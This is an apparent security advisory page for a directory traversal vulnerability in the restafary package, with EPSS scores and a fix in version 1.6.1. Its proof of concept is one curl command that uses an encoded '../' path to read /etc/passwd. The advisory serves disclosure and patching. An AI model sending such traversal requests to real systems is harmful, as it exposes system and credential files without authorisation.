Lucene search

K
osvGoogleOSV:GHSA-XG5R-8J97-2WRJ
HistoryFeb 18, 2019 - 11:39 p.m.

Directory Traversal in restafary

2019-02-1823:39:22
Google
osv.dev
7

0.001 Low

EPSS

Percentile

36.4%

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Recommendation

Update to version 1.6.1 or later.

CPENameOperatorVersion
restafarylt1.6.1

0.001 Low

EPSS

Percentile

36.4%

Related for OSV:GHSA-XG5R-8J97-2WRJ